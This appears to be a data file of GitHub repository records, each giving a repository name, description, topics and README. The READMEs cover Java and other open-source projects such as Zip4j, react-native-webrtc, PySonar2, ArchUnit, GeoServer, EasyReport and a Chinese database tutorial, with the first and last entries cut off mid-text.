encryptionMethod, AesKeyStrength aesKeyStrength) { ZipParameters zipParameters = new ZipParameters(); zipParameters.setCompressionMethod(compressionMethod); zipParameters.setEncryptionMethod(encryptionMethod); zipParameters.setAesKeyStrength(aesKeyStrength); zipParameters.setEncryptFiles(encrypt); return zipParameters; } } ``` ### Extract files with ZipInputStream ```java import net.lingala.zip4j.io.inputstream.ZipInputStream; import net.lingala.zip4j.model.LocalFileHeader; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; public class ZipInputStreamExample { public void extractWithZipInputStream(File zipFile, char[] password) throws IOException { LocalFileHeader localFileHeader; int readLen; byte[] readBuffer = new byte[4096]; InputStream inputStream = new FileInputStream(zipFile); try (ZipInputStream zipInputStream = new ZipInputStream(inputStream, password)) { while ((localFileHeader = zipInputStream.getNextEntry()) != null) { File extractedFile = new File(localFileHeader.getFileName()); try (OutputStream outputStream = new FileOutputStream(extractedFile)) { while ((readLen = zipInputStream.read(readBuffer)) != -1) { outputStream.write(readBuffer, 0, readLen); } } } } } } ``` ## Working with Progress Monitor ProgressMonitor makes it easier for applications (especially user facing) to integrate Zip4j. It is useful to show progress (example: updating a progress bar, displaying the current action, show file name being worked on, etc.). To use ProgressMonitor, you have to set `ZipFile.setRunInThread(true)`. This will make any actions being done on the zip file to run in a background thread. You can then access ProgressMonitor `Zipfile.getProgressMonitor()` and get details of the current action being done along with the percentage work done, etc. Below is an example: ```java ZipFile zipFile = new ZipFile(generatedZipFile, PASSWORD); ProgressMonitor progressMonitor = zipFile.getProgressMonitor(); zipFile.setRunInThread(true); zipFile.addFolder(new File("/some/folder")); while (!progressMonitor.getState().equals(ProgressMonitor.State.READY)) { System.out.println("Percentage done: " + progressMonitor.getPercentDone()); System.out.println("Current file: " + progressMonitor.getFileName()); System.out.println("Current task: " + progressMonitor.getCurrentTask()); Thread.sleep(100); } if (progressMonitor.getResult().equals(ProgressMonitor.Result.SUCCESS)) { System.out.println("Successfully added folder to zip"); } else if (progressMonitor.getResult().equals(ProgressMonitor.Result.ERROR)) { System.out.println("Error occurred. Error message: " + progressMonitor.getException().getMessage()); } else if (progressMonitor.getResult().equals(ProgressMonitor.Result.CANCELLED)) { System.out.println("Task cancelled"); } ``` Note that in the above example, `addFolder()` will almost immediately return back the control to the caller. The client code can then perform a loop until the state gets back to "Ready" as shown in the above example. Similarly, ProgressMonitor can be used with other actions like, `addFiles`, `removeFiles` and `extractFiles`. ## Contribution It is hard to find as much free time as I used to have when I first started Zip4j back in 2009. I would highly appreciate any support I can get for this project. You can fork this project, and send me pull requests for any bug fixes, issues mentioned here or new features. If you need any support in understanding the code or zip specification, just drop me a mail and I will help you as best as I can. (See FAQ for my email address.) ## FAQ 1. **Why do I have to pass in password as char array and not as a string?** [That's why][8] 2. **How can I contact you?** srikanth.mailbox@gmail.com 3. **Are unicode file names supported?** Yes, unicode file names (UTF-8) are supported as specified by the zip format specification. Zip4j will use UTF-8 file name and file comment encoding when creating a zip file. When extracting a zip file, Zip4j will only use UTF-8 encoding, only if the appropriate header flag is set as specified by zip file format specification. If this flag is not set, Zip4j will use CP437 encoding which only supports extended ASCII characters. 4. **Where can I find zip file format specification?** [Here][9] 5. **Why are there so many changes in version 2.x compared to 1.x?** Because when version 1.x was written back in 2009, Zip4j was badly in need of a face-lift and code modernization. Also, my coding standards have improved over the years (or at least that's what I like to think). Although I am proud of the work I did with Zip4j back in 2009, some parts of the code make me feel like hiding my face in shame. One such example is the usage of `ArrayList` instead of `List`. API and code should look much neater now. And also, Zip4j now supports a minimum of JRE 8, as compared to JRE 5 with 1.x, which obviously will bring some nice features that I can make use of. (For example: no more explicitly closing the streams all over the code). If you still feel like something can be improved (and I am pretty sure that there are things to be improved), please let me know by opening an issue here or writing to me (my email address is in point #2 above). 6. **What are the licensing conditions for older releases of Zip4j?** All releases of Zip4j, from version 1.0, are licensed under Apache License 2.0 [1]: https://stackoverflow.com/questions/9324933/what-is-a-good-java-library-to-zip-unzip-files [2]: https://stackoverflow.com/questions/5362364/java-library-to-work-with-zip-files [3]: https://stackoverflow.com/questions/166340/recommendations-on-a-free-library-to-be-used-for-zipping-files [4]: https://stackoverflow.com/questions/18201279/file-compression-library-for-java/18201553 [5]: https://www.baeldung.com/java-compress-and-uncompress [6]: https://mvnrepository.com/artifact/net.lingala.zip4j/zip4j [7]: https://javadoc.io/doc/net.lingala.zip4j/zip4j/latest/net/lingala/zip4j/model/ZipParameters.html#ZipParameters-- [8]: https://www.baeldung.com/java-storing-passwords [9]: https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT [10]: https://stackoverflow.com/questions/tagged/zip4j
0
react-native-webrtc/react-native-webrtc
The WebRTC module for React Native
react react-native webrtc
[<img src="https://avatars.githubusercontent.com/u/42463376" alt="React Native WebRTC" style="height: 6em;" />](https://github.com/react-native-webrtc/react-native-webrtc) # React-Native-WebRTC [![npm version](https://img.shields.io/npm/v/react-native-webrtc)](https://www.npmjs.com/package/react-native-webrtc) [![npm downloads](https://img.shields.io/npm/dm/react-native-webrtc)](https://www.npmjs.com/package/react-native-webrtc) [![Discourse topics](https://img.shields.io/discourse/topics?server=https%3A%2F%2Freact-native-webrtc.discourse.group%2F)](https://react-native-webrtc.discourse.group/) A WebRTC module for React Native. ## Feature Overview | | Android | iOS | tvOS | macOS* | Windows* | Web* | Expo* | | :- | :-: | :-: | :-: | :-: | :-: | :-: | :-: | | Audio/Video | :heavy_check_mark: | :heavy_check_mark: | :heavy_check_mark: | - | - | :heavy_check_mark: | :heavy_check_mark: | | Data Channels | :heavy_check_mark: | :heavy_check_mark: | - | - | - | :heavy_check_mark: | :heavy_check_mark: | | Screen Capture | :heavy_check_mark: | :heavy_check_mark: | - | - | - | :heavy_check_mark: | :heavy_check_mark: | | Plan B | - | - | - | - | - | - | - | | Unified Plan* | :heavy_check_mark: | :heavy_check_mark: | - | - | - | :heavy_check_mark: | :heavy_check_mark: | | Simulcast* | :heavy_check_mark: | :heavy_check_mark: | - | - | - | :heavy_check_mark: | :heavy_check_mark: | > **macOS** - We don't currently actively support macOS at this time. Support might return in the future. > **Windows** - We don't currently support the [react-native-windows](https://github.com/microsoft/react-native-windows) platform at this time. Anyone interested in getting the ball rolling? We're open to contributions. > **Web** - The [react-native-webrtc-web-shim](https://github.com/react-native-webrtc/react-native-webrtc-web-shim) project provides a shim for [react-native-web](https://github.com/necolas/react-native-web) support. Which will allow you to use [(almost)](https://github.com/react-native-webrtc/react-native-webrtc-web-shim/tree/main#setup) the exact same code in your [react-native-web](https://github.com/necolas/react-native-web) project as you would with [react-native](https://reactnative.dev/) directly. > **Expo** - As this module includes native code it is not available in the [Expo Go](https://expo.dev/client) app by default. However you can get things working via the [expo-dev-client](https://docs.expo.dev/development/getting-started/) library and out-of-tree [config-plugins/react-native-webrtc](https://github.com/expo/config-plugins/tree/master/packages/react-native-webrtc) package. > **Unified Plan** - As of version 106.0.0 Unified Plan is the only supported mode. Those still in need of Plan B will need to use an older release. > **Simulcast** - As of version 111.0.0 Simulcast is now possible with ease. Software encode/decode factories have been enabled by default. ## WebRTC Revision * Currently used revision: [M118](https://github.com/jitsi/webrtc/tree/M118) * Supported architectures * Android: armeabi-v7a, arm64-v8a, x86, x86_64 * iOS: arm64, x86_64 * tvOS: arm64 * macOS: (temporarily disabled) ## Getting Started Use one of the following preferred package install methods to immediately get going. Don't forget to follow platform guides below to cover any extra required steps. **npm:** `npm install react-native-webrtc --save` **yarn:** `yarn add react-native-webrtc` **pnpm:** `pnpm install react-native-webrtc` ## Guides - [Android Install](./Documentation/AndroidInstallation.md) - [iOS Install](./Documentation/iOSInstallation.md) - [tvOS Install](./Documentation/tvOSInstallation.md) - [Basic Usage](./Documentation/BasicUsage.md) - [Step by Step Call Guide](./Documentation/CallGuide.md) - [Improving Call Reliability](./Documentation/ImprovingCallReliability.md) - [Migrating to Unified Plan](https://docs.google.com/document/d/1-ZfikoUtoJa9k-GZG1daN0BU3IjIanQ_JSscHxQesvU/edit#heading=h.wuu7dx8tnifl) ## Example Projects We have some very basic example projects included in the [examples](./examples) directory. Don't worry, there are plans to include a much more broader example with backend included. ## Community Come join our [Discourse Community](https://react-native-webrtc.discourse.group/) if you want to discuss any React Native and WebRTC related topics. Everyone is welcome and every little helps. ## Related Projects Looking for extra functionality coverage? The [react-native-webrtc](https://github.com/react-native-webrtc) organization provides a number of packages which are more than useful when developing Real Time Communication applications.
0
yinwang0/pysonar2
PySonar2: a semantic indexer for Python with interprocedual type inference
code-analysis code-intelligence code-search index python static-analysis type-inference
# PySonar2 - a semantic indexer for Python with interprocedural type inference PySonar2 is a semantic indexer library for Python, designed for batch processing of large code bases. The resulting index can be used to build code browsers and code search engines. Python is a highly dynamic language. To achieve high accuracy and quality, PySonar2 performs interprocedural analysis to infer types. PySonar2 generally produces better index than Python IDEs, while at the same time sacrificing real-time update capabilities of IDEs. Notice the term "type inference" here is descriptive rather than prescriptive, meaning the inferred types describe how the code is actually used, but does not prescribe how they must be used. So the way type inference works here is different from type systems (e.g. Hindley-Milner system). PySonar2 has been the underlying indexing engine for several large-scale code navigation services, such as Google's internal Code Search, sourcegraph.com and insight.io (now part of elastic). <a href="http://www.yinwang.org/resources/demos/pysonar2/email/header.py.html"> <img src="http://www.yinwang.org/images/pysonar2.gif" width="70%"> </a> ### How to build mvn package -DskipTests ### Demo To have a feel of what PySonar2 produce, you can build a simple code browser of the Python 2.7 standard library with the following command line: java -jar target/pysonar-<version>.jar /usr/lib/python2.7 ./html This may take a few minutes depending on your machine. You should find some interactive HTML files inside the _html_ directory after this process. You can move your mouse on the variables and click on them to jump to definitions etc. Note that this is just a simple demo program based on the library. PySonar2 is not meant to be an end-user tool. It is mainly designed as a library for Python IDEs, developer tools and code search engines, so its interface may not be as appealing as an end-user tool. If you have problems with it, please feel free to contact me. ### System requirements * Python 2.7.x * Python 3.x * Java 8+ * maven ### Environment variables PySonar2 uses CPython's built-in `ast` package to parse Python code, so please make sure you have `python` or `python3` installed and pointed to by the `PATH` environment variable. If you have them in different names, please make symbol links. `PYTHONPATH` environment variable is used for locating the Python standard libraries. It is important to point it to the correct Python library, for example export PYTHONPATH=/usr/lib/python2.7 If this is not set up correctly, references to library code will not be found. ### Contribute You are welcome to make code contributions. Because of the highly complex and unpublished theory behind PySonar2, things may go wrong easily with even an innocent-looking change. If you hope to contribute to PySonar2, please discuss with me first before making significant changes, otherwise I may not be able to review your changes. For basic verification, you can run the unit tests. PySonar2 has a basic test framework. You can run the tests using this command: mvn test If you modify the code or tests, you need to generate new expected results. Run these command lines: mvn package -DskipTests java -classpath target/pysonar-<version>.jar org.yinwang.pysonar.TestInference -generate tests To write new tests, you just need to write relevant Python code demonstrating your change, put them into a directory named `tests/testname.test`(test directory name must end with ".test"). Please look at the `tests` directory for examples. Please don't expect the tests to catch all bugs. Be very careful :) ### License Apache 2.0 License. See LICENSE file.
0
seaswalker/spring-analysis
Spring源码阅读
notes source-code-analysis spring
# Spring Spring相关组件阅读笔记. # 传送门 - [spring-core](https://github.com/seaswalker/Spring/blob/master/note/Spring.md) - [spring-aop](https://github.com/seaswalker/Spring/blob/master/note/spring-aop.md) - [spring-context](https://github.com/seaswalker/Spring/blob/master/note/spring-context.md) - [spring-task](https://github.com/seaswalker/Spring/blob/master/note/spring-task.md) - [spring-transaction](https://github.com/seaswalker/Spring/blob/master/note/spring-transaction.md) - [spring-mvc](https://github.com/seaswalker/Spring/blob/master/note/spring-mvc.md) - [guava-cache](https://github.com/seaswalker/Spring/blob/master/note/guava-cache.md)
0
TNG/ArchUnit
A Java architecture test library, to specify and assert architecture rules in plain Java
null
[![CI](https://github.com/TNG/ArchUnit/actions/workflows/build.yml/badge.svg)](https://github.com/TNG/ArchUnit/actions/workflows/build.yml?query=branch%3Amain++) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/com.tngtech.archunit/archunit/badge.svg)](http://search.maven.org/#search%7Cgav%7C1%7Cg%3A%22com.tngtech.archunit%22%20) [![License](https://img.shields.io/github/license/TNG/ArchUnit.svg)](https://github.com/TNG/ArchUnit/blob/main/LICENSE) <img src="logo/ArchUnit-Logo.png" height="64" alt="ArchUnit"> ArchUnit is a free, simple and extensible library for checking the architecture of your Java code. That is, ArchUnit can check dependencies between packages and classes, layers and slices, check for cyclic dependencies and more. It does so by analyzing given Java bytecode, importing all classes into a Java code structure. ArchUnit's main focus is to automatically test architecture and coding rules, using any plain Java unit testing framework. ## An Example #### Add the Maven Central dependency to your project ###### Gradle ``` testImplementation 'com.tngtech.archunit:archunit:1.3.0' ``` ###### Maven ``` <dependency> <groupId>com.tngtech.archunit</groupId> <artifactId>archunit</artifactId> <version>1.3.0</version> <scope>test</scope> </dependency> ``` #### Create a test ```java import com.tngtech.archunit.core.domain.JavaClasses; import com.tngtech.archunit.core.importer.ClassFileImporter; import com.tngtech.archunit.lang.ArchRule; import static com.tngtech.archunit.lang.syntax.ArchRuleDefinition.classes; public class MyArchitectureTest { @Test public void some_architecture_rule() { JavaClasses importedClasses = new ClassFileImporter().importPackages("com.myapp"); ArchRule rule = classes()... // see next section rule.check(importedClasses); } } ``` #### Let the API guide you ![ArchUnit Fluent API](ArchUnit-API.gif) ## Where to look next For further information, check out the user guide at [http://archunit.org](http://archunit.org) or test examples for the current release at [ArchUnit Examples](https://github.com/TNG/ArchUnit-Examples). ## License ArchUnit is published under the Apache License 2.0, see http://www.apache.org/licenses/LICENSE-2.0 for details. It redistributes some third party libraries: * ASM (http://asm.ow2.org), under BSD Licence * Google Guava (https://github.com/google/guava), under Apache License 2.0 All licenses for ArchUnit and redistributed libraries can be found within the [licenses](licenses) folder.
0
spring-projects/spring-data-redis
Provides support to increase developer productivity in Java when using Redis, a key-value store. Uses familiar Spring concepts such as a template classes for core API usage and lightweight repository style data access.
ddd framework java redis spring spring-data
null
0
JorenSix/TarsosDSP
A Real-Time Audio Processing Framework in Java
null
null
0
geoserver/geoserver
Official GeoServer repository
geoserver java mapping maps wcs web web-mapping wfs wms wps
<img src="/doc/en/themes/geoserver/static/GeoServer_500.png" width="353"> [![Gitter](https://badges.gitter.im/geoserver/geoserver.svg)](https://gitter.im/geoserver/geoserver?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) [![DOI](https://zenodo.org/badge/2751199.svg)](https://zenodo.org/badge/latestdoi/2751199) [GeoServer](https://geoserver.org) is an open source software server written in Java that allows users to share and edit geospatial data. Designed for interoperability, it publishes data from any major spatial data source using open standards. Being a community-driven project, GeoServer is developed, tested, and supported by a diverse group of individuals and organizations from around the world. GeoServer is the reference implementation of the Open Geospatial Consortium (OGC) Web Feature Service (WFS) and Web Coverage Service (WCS) standards, as well as a high performance certified compliant Web Map Service (WMS), compliant Catalog Service for the Web (CSW) and implementing Web Processing Service (WPS). GeoServer forms a core component of the Geospatial Web. ## License GeoServer licensed under the [GPL](https://docs.geoserver.org/latest/en/user/introduction/license.html). ## Using Please refer to the [user guide](https://docs.geoserver.org/latest/en/user/) for information on how to install and use GeoServer. ## Building GeoServer uses [Apache Maven](https://maven.apache.org/) for a build system. To build the application run maven from the ```src``` directory. mvn clean install See the [developer guide](https://docs.geoserver.org/latest/en/developer/) for more details. ## Bugs GeoServer uses [JIRA](https://osgeo-org.atlassian.net/projects/GEOS), hosted by [Atlassian](https://www.atlassian.com/), for issue tracking. ## Mailing Lists The [mailing list page](https://geoserver.org/comm/) on the GeoServer web site provides access to the various mailing list, as well as some indication of the [code of conduct](https://geoserver.org/comm/userlist-guidelines.html) when posting to the lists ## Contributing Please read [the contribution guidelines](https://github.com/geoserver/geoserver/blob/main/CONTRIBUTING.md) before contributing pull requests to the GeoServer project. ## More Information Visit the [website](https://geoserver.org/) or read the [docs](https://docs.geoserver.org/).
0
xianrendzw/EasyReport
A simple and easy to use Web Report System for java.EasyReport是一个简单易用的Web报表工具(支持Hadoop,HBase及各种关系型数据库),它的主要功能是把SQL语句查询出的行列结构转换成HTML表格(Table),并支持表格的跨行(RowSpan)与跨列(ColSpan)。同时它还支持报表Excel导出、图表显示及固定表头与左边列的功能。
null
EasyReport ========== A simple and easy to use Web Report System for java EasyReport是一个简单易用的Web报表工具,它的主要功能是把SQL语句查询出的数据转换成报表页面, 同时支持表格的跨行(RowSpan)与跨列(ColSpan)配置。 同时它还支持报表Excel导出、图表显示及固定表头与左边列的功能。 欢迎加入Telegram群交流:https://t.me/+HsQVqBBXQ8s0OTVl 欢迎加入QQ群交流:(365582678)已经不再使用 * mvn -DskipTests package * mvn spring-boot:run -pl easyreport-web 然后就可以通过浏览器localhost:8080查看 ## Release(发布说明) ### what's new?(ver2.1) * 改进图表报表图表生成并增加图表生成配置 * 定时任务功能完成 * 支持大数据产品查询引擎(Hive,Presto,HBase,Drill,Impala等) * 提供REST API服务接口 * 增加报表权限控制 ### what's new?(ver2.0) * 界面交互调整,前端js代码全部重写,方便向AMD模块化转换 * 报表引擎查询支持CP30、Druid、DBCP2连接池 * JAVA部分代码重构 * 加入用户及权限管理模块 * 数据访问采用mybatis框架,方便二次开发 * 报表展现支持自定义生成模板 ## [入门手册][] ## [用户参考][] ## 捐助 您的热情,我的动力!开源是一种精神,也是一种生活... ![支付宝][] [入门手册]: https://github.com/xianrendzw/EasyReport/blob/master/docs/manual/user-guide.md [用户参考]: https://github.com/xianrendzw/EasyReport/blob/master/docs/manual/version2_0.md [支付宝]: https://raw.githubusercontent.com/xianrendzw/EasyReport/master/docs/assets/imgs/alipay-code.png
0
dunwu/db-tutorial
📚 db-tutorial 是一个数据库教程。
database db elasticsearch mongodb mysql nosql redis sql
<p align="center"> <a href="https://dunwu.github.io/db-tutorial/" target="_blank" rel="noopener noreferrer"> <img src="https://raw.githubusercontent.com/dunwu/images/master/common/dunwu-logo.png" alt="logo" width="150px"/> </a> </p> <p align="center"> <a href="https://github.com/dunwu/db-tutorial"> <img alt="star" class="no-zoom" src="https://img.shields.io/github/stars/dunwu/db-tutorial?style=for-the-badge"> </a> <a href="https://github.com/dunwu/db-tutorial"> <img alt="fork" class="no-zoom" src="https://img.shields.io/github/forks/dunwu/db-tutorial?style=for-the-badge"> </a> <a href="https://github.com/dunwu/db-tutorial/commits/master"> <img alt="build" class="no-zoom" src="https://img.shields.io/github/actions/workflow/status/dunwu/db-tutorial/deploy.yml?style=for-the-badge"> </a> <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh"> <img alt="code style" class="no-zoom" src="https://img.shields.io/github/license/dunwu/db-tutorial?style=for-the-badge"> </a> </p> <h1 align="center">DB-TUTORIAL</h1> > 💾 **db-tutorial** 是一个数据库教程。 > > - 🔁 项目同步维护:[Github](https://github.com/dunwu/db-tutorial/) | [Gitee](https://gitee.com/turnon/db-tutorial/) > - 📖 电子书阅读:[Github Pages](https://dunwu.github.io/db-tutorial/) | [Gitee Pages](https://turnon.gitee.io/db-tutorial/) ## 数据库综合 ### 分布式存储原理 #### 分布式理论 - [分布式一致性](https://dunwu.github.io/blog/pages/dac0e2/) - [深入剖析共识性算法 Paxos](https://dunwu.github.io/blog/pages/874539/) - [深入剖析共识性算法 Raft](https://dunwu.github.io/blog/pages/e40812/) - [分布式算法 Gossip](https://dunwu.github.io/blog/pages/d15993/) #### 分布式关键技术 ##### 流量调度 - [流量控制](https://dunwu.github.io/blog/pages/282676/) - [负载均衡](https://dunwu.github.io/blog/pages/98a1c1/) - [服务路由](https://dunwu.github.io/blog/pages/d04ece/) - [分布式会话基本原理](https://dunwu.github.io/blog/pages/3e66c2/) ##### 数据调度 - [缓存基本原理](https://dunwu.github.io/blog/pages/471208/) - [读写分离基本原理](https://dunwu.github.io/blog/pages/7da6ca/) - [分库分表基本原理](https://dunwu.github.io/blog/pages/103382/) - [分布式 ID 基本原理](https://dunwu.github.io/blog/pages/0b2e59/) - [分布式事务基本原理](https://dunwu.github.io/blog/pages/910bad/) - [分布式锁基本原理](https://dunwu.github.io/blog/pages/69360c/) ### 其他 - [Nosql 技术选型](docs/12.数据库/01.数据库综合/01.Nosql技术选型.md) - [数据结构与数据库索引](docs/12.数据库/01.数据库综合/02.数据结构与数据库索引.md) ## 数据库中间件 - [ShardingSphere 简介](docs/12.数据库/02.数据库中间件/01.Shardingsphere/01.ShardingSphere简介.md) - [ShardingSphere Jdbc](docs/12.数据库/02.数据库中间件/01.Shardingsphere/02.ShardingSphereJdbc.md) - [版本管理中间件 Flyway](docs/12.数据库/02.数据库中间件/02.Flyway.md) ## 关系型数据库 > [关系型数据库](docs/12.数据库/03.关系型数据库) 整理主流关系型数据库知识点。 ### 关系型数据库综合 - [关系型数据库面试总结](docs/12.数据库/03.关系型数据库/01.综合/01.关系型数据库面试.md) 💯 - [SQL 语法基础特性](docs/12.数据库/03.关系型数据库/01.综合/02.SQL语法基础特性.md) - [SQL 语法高级特性](docs/12.数据库/03.关系型数据库/01.综合/03.SQL语法高级特性.md) - [扩展 SQL](docs/12.数据库/03.关系型数据库/01.综合/03.扩展SQL.md) - [SQL Cheat Sheet](docs/12.数据库/03.关系型数据库/01.综合/99.SqlCheatSheet.md) ### Mysql ![img](https://raw.githubusercontent.com/dunwu/images/master/snap/20200716103611.png) - [Mysql 应用指南](docs/12.数据库/03.关系型数据库/02.Mysql/01.Mysql应用指南.md) ⚡ - [Mysql 工作流](docs/12.数据库/03.关系型数据库/02.Mysql/02.MySQL工作流.md) - 关键词:`连接`、`缓存`、`语法分析`、`优化`、`执行引擎`、`redo log`、`bin log`、`两阶段提交` - [Mysql 事务](docs/12.数据库/03.关系型数据库/02.Mysql/03.Mysql事务.md) - 关键词:`ACID`、`AUTOCOMMIT`、`事务隔离级别`、`死锁`、`分布式事务` - [Mysql 锁](docs/12.数据库/03.关系型数据库/02.Mysql/04.Mysql锁.md) - 关键词:`乐观锁`、`表级锁`、`行级锁`、`意向锁`、`MVCC`、`Next-key 锁` - [Mysql 索引](docs/12.数据库/03.关系型数据库/02.Mysql/05.Mysql索引.md) - 关键词:`Hash`、`B 树`、`聚簇索引`、`回表` - [Mysql 性能优化](docs/12.数据库/03.关系型数据库/02.Mysql/06.Mysql性能优化.md) - [Mysql 运维](docs/12.数据库/03.关系型数据库/02.Mysql/20.Mysql运维.md) 🔨 - [Mysql 配置](docs/12.数据库/03.关系型数据库/02.Mysql/21.Mysql配置.md) 🔨 - [Mysql 问题](docs/12.数据库/03.关系型数据库/02.Mysql/99.Mysql常见问题.md) ### 其他 - [PostgreSQL 应用指南](docs/12.数据库/03.关系型数据库/99.其他/01.PostgreSQL.md) - [H2 应用指南](docs/12.数据库/03.关系型数据库/99.其他/02.H2.md) - [SqLite 应用指南](docs/12.数据库/03.关系型数据库/99.其他/03.Sqlite.md) ## 文档数据库 ### MongoDB > MongoDB 是一个基于文档的分布式数据库,由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。 > > MongoDB 是一个介于关系型数据库和非关系型数据库之间的产品。它是非关系数据库当中功能最丰富,最像关系数据库的。它支持的数据结构非常松散,是类似 json 的 bson 格式,因此可以存储比较复杂的数据类型。 > > MongoDB 最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。 - [MongoDB 应用指南](docs/12.数据库/04.文档数据库/01.MongoDB/01.MongoDB应用指南.md) - [MongoDB 的 CRUD 操作](docs/12.数据库/04.文档数据库/01.MongoDB/02.MongoDB的CRUD操作.md) - [MongoDB 聚合操作](docs/12.数据库/04.文档数据库/01.MongoDB/03.MongoDB的聚合操作.md) - [MongoDB 事务](docs/12.数据库/04.文档数据库/01.MongoDB/04.MongoDB事务.md) - [MongoDB 建模](docs/12.数据库/04.文档数据库/01.MongoDB/05.MongoDB建模.md) - [MongoDB 建模示例](docs/12.数据库/04.文档数据库/01.MongoDB/06.MongoDB建模示例.md) - [MongoDB 索引](docs/12.数据库/04.文档数据库/01.MongoDB/07.MongoDB索引.md) - [MongoDB 复制](docs/12.数据库/04.文档数据库/01.MongoDB/08.MongoDB复制.md) - [MongoDB 分片](docs/12.数据库/04.文档数据库/01.MongoDB/09.MongoDB分片.md) - [MongoDB 运维](docs/12.数据库/04.文档数据库/01.MongoDB/20.MongoDB运维.md) ## KV 数据库 ### Redis ![img](https://raw.githubusercontent.com/dunwu/images/master/snap/20200713105627.png) - [Redis 面试总结](docs/12.数据库/05.KV数据库/01.Redis/01.Redis面试总结.md) 💯 - [Redis 应用指南](docs/12.数据库/05.KV数据库/01.Redis/02.Redis应用指南.md) ⚡ - 关键词:`内存淘汰`、`事件`、`事务`、`管道`、`发布与订阅` - [Redis 数据类型和应用](docs/12.数据库/05.KV数据库/01.Redis/03.Redis数据类型和应用.md) - 关键词:`STRING`、`HASH`、`LIST`、`SET`、`ZSET`、`BitMap`、`HyperLogLog`、`Geo` - [Redis 持久化](docs/12.数据库/05.KV数据库/01.Redis/04.Redis持久化.md) - 关键词:`RDB`、`AOF`、`SAVE`、`BGSAVE`、`appendfsync` - [Redis 复制](docs/12.数据库/05.KV数据库/01.Redis/05.Redis复制.md) - 关键词:`SLAVEOF`、`SYNC`、`PSYNC`、`REPLCONF ACK` - [Redis 哨兵](docs/12.数据库/05.KV数据库/01.Redis/06.Redis哨兵.md) - 关键词:`Sentinel`、`PING`、`INFO`、`Raft` - [Redis 集群](docs/12.数据库/05.KV数据库/01.Redis/07.Redis集群.md) - 关键词:`CLUSTER MEET`、`Hash slot`、`MOVED`、`ASK`、`SLAVEOF no one`、`redis-trib` - [Redis 实战](docs/12.数据库/05.KV数据库/01.Redis/08.Redis实战.md) - 关键词:`缓存`、`分布式锁`、`布隆过滤器` - [Redis 运维](docs/12.数据库/05.KV数据库/01.Redis/20.Redis运维.md) 🔨 - 关键词:`安装`、`命令`、`集群`、`客户端` ## 列式数据库 ### HBase - [HBase 快速入门](docs/12.数据库/06.列式数据库/01.HBase/01.HBase快速入门.md) - [HBase 数据模型](docs/12.数据库/06.列式数据库/01.HBase/02.HBase数据模型.md) - [HBase Schema 设计](docs/12.数据库/06.列式数据库/01.HBase/03.HBaseSchema设计.md) - [HBase 架构](docs/12.数据库/06.列式数据库/01.HBase/04.HBase架构.md) - [HBase Java API 基础特性](docs/12.数据库/06.列式数据库/01.HBase/10.HBaseJavaApi基础特性.md) - [HBase Java API 高级特性之过滤器](docs/12.数据库/06.列式数据库/01.HBase/11.HBaseJavaApi高级特性之过滤器.md) - [HBase Java API 高级特性之协处理器](docs/12.数据库/06.列式数据库/01.HBase/12.HBaseJavaApi高级特性之协处理器.md) - [HBase Java API 其他高级特性](docs/12.数据库/06.列式数据库/01.HBase/13.HBaseJavaApi其他高级特性.md) - [HBase 运维](docs/12.数据库/06.列式数据库/01.HBase/21.HBase运维.md) - [HBase 命令](docs/12.数据库/06.列式数据库/01.HBase/22.HBase命令.md) ## 搜索引擎数据库 ### Elasticsearch > Elasticsearch 是一个基于 Lucene 的搜索和数据分析工具,它提供了一个分布式服务。Elasticsearch 是遵从 Apache 开源条款的一款开源产品,是当前主流的企业级搜索引擎。 - [Elasticsearch 面试总结](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/01.Elasticsearch面试总结.md) 💯 - [Elasticsearch 快速入门](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/02.Elasticsearch快速入门.md) - [Elasticsearch 简介](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/03.Elasticsearch简介.md) - [Elasticsearch 索引](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/04.Elasticsearch索引.md) - [Elasticsearch 查询](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/05.Elasticsearch查询.md) - [Elasticsearch 高亮](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/06.Elasticsearch高亮.md) - [Elasticsearch 排序](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/07.Elasticsearch排序.md) - [Elasticsearch 聚合](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/08.Elasticsearch聚合.md) - [Elasticsearch 分析器](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/09.Elasticsearch分析器.md) - [Elasticsearch 性能优化](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/10.Elasticsearch性能优化.md) - [Elasticsearch Rest API](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/11.ElasticsearchRestApi.md) - [ElasticSearch Java API 之 High Level REST Client](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/12.ElasticsearchHighLevelRestJavaApi.md) - [Elasticsearch 集群和分片](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/13.Elasticsearch集群和分片.md) - [Elasticsearch 运维](docs/12.数据库/07.搜索引擎数据库/01.Elasticsearch/20.Elasticsearch运维.md) ### Elastic - [Elastic 快速入门](docs/12.数据库/07.搜索引擎数据库/02.Elastic/01.Elastic快速入门.md) - [Elastic 技术栈之 Filebeat](docs/12.数据库/07.搜索引擎数据库/02.Elastic/02.Elastic技术栈之Filebeat.md) - [Filebeat 运维](docs/12.数据库/07.搜索引擎数据库/02.Elastic/03.Filebeat运维.md) - [Elastic 技术栈之 Kibana](docs/12.数据库/07.搜索引擎数据库/02.Elastic/04.Elastic技术栈之Kibana.md) - [Kibana 运维](docs/12.数据库/07.搜索引擎数据库/02.Elastic/05.Kibana运维.md) - [Elastic 技术栈之 Logstash](docs/12.数据库/07.搜索引擎数据库/02.Elastic/06.Elastic技术栈之Logstash.md) - [Logstash 运维](docs/12.数据库/07.搜索引擎数据库/02.Elastic/07.Logstash运维.md) ## 资料 📚 ### 数据库综合资料 - [DB-Engines](https://db-engines.com/en/ranking) - 数据库流行度排名 - **书籍** - 